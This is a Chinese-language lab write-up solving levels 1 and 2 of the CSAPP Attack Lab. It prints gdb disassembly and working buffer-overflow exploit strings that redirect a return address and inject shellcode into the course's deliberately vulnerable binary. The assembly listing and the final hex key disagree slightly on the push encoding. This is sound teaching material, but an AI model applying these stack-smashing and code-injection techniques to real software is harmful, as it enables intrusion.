《深入理解计算机系统》CSAPP_AttackLab

AttackLab

操作系统:linux

调试工具:gdb

目录

Level 1

我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。level1 ~ level3的攻击方式都是运行CTARGET注入代码。

作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}
void touch1(){
	vlevel = 1;
	/* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");	
	validate(1);
	exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:	sub    $0x8,%rsp #<touch1>的函数地址
   0x00000000004017c4 <+4>:	movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>

第一个攻击任务是:

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。

原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x0000000000401976,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x00000000004017c0即可。

《深入理解计算机系统》CSAPP_AttackLab

如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)

同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。

key:

/*level1.txt*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40

c0 17 40后续的零可填可不填,会自动补上的)

我们通过unix> ./hex2raw < level1.txt | ./ctarget -q进行攻击。(./ctarget -q,在./ctarget之后加 -q的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt中存放着我们的答案)

hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 

Level 2

先查看代码及对应汇编代码:

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\n", val);
}

unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void touch2(unsigned val){
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie){ 
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:	sub    $0x8,%rsp #<touch2>的函数地址
   0x00000000004017f0 <+4>:	mov    %edi,%edx
   0x00000000004017f2 <+6>:	movl   $0x2,0x202ce0(%rip)        # 0x6044dc <vlevel>
   0x00000000004017fc <+16>:	cmp    0x202ce2(%rip),%edi        # 0x6044e4 <cookie>
   0x0000000000401802 <+22>:	jne    0x401824 <touch2+56>
   0x0000000000401804 <+24>:	mov    $0x4030e8,%esi
   0x0000000000401809 <+29>:	mov    $0x1,%edi
   0x000000000040180e <+34>:	mov    $0x0,%eax
   0x0000000000401813 <+39>:	callq  0x400df0 <__printf_chk@plt>
   0x0000000000401818 <+44>:	mov    $0x2,%edi
   0x000000000040181d <+49>:	callq  0x401c8d <validate>
   0x0000000000401822 <+54>:	jmp    0x401842 <touch2+86>
   0x0000000000401824 <+56>:	mov    $0x403110,%esi
   0x0000000000401829 <+61>:	mov    $0x1,%edi
   0x000000000040182e <+66>:	mov    $0x0,%eax
   0x0000000000401833 <+71>:	callq  0x400df0 <__printf_chk@plt>
   0x0000000000401838 <+76>:	mov    $0x2,%edi
   0x000000000040183d <+81>:	callq  0x401d4f <fail>
   0x0000000000401842 <+86>:	mov    $0x0,%edi
   0x0000000000401847 <+91>:	callq  0x400e40 <exit@plt>

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

level 2和leve 1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。

那么得想办法调用touch2函数,即注入touch2的函数地址。

advice:

Recall that the first argument to a function is passed in register %rdi.
%rdi中存储touch2函数着第一个参数。

Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi设置为cookie,然后中使用ret指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec)。

根据advice及touch2源代码可以知道:(要写汇编代码)

  • movq指令,$0x59b997fa移入%rdi。从而val == cookie函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa)。
  • push指令压入touch2的函数地址,从而ret时会返回为touch2的函数地址。

那么有:

//level2.s
movq    $0x59b997fa, %rdi
pushq   0x4017ec6
ret

再将其转化为机器代码:使用linux> gcc -c level2.slinux> objdump -d level2.o

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o

level2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	ff 34 25 ec 17 40 00 	pushq  0x4017ec
   e:	c3                   	retq   

从而得到部分注入代码:(机器代码已经使用小端法了)

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 

那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf函数已经开辟栈空间的%rsp处注入。

原因呢?如下图所示,注入的register必须在stack top之前。

《深入理解计算机系统》CSAPP_AttackLab

接下来我们查找开辟栈空间的%rsp对应地址。

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14	buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78

好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)

//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ 

CONTIUNE

上一篇:CSAPP第六章家庭作业(原书第二版)


下一篇:CSAPP-Data Lab深思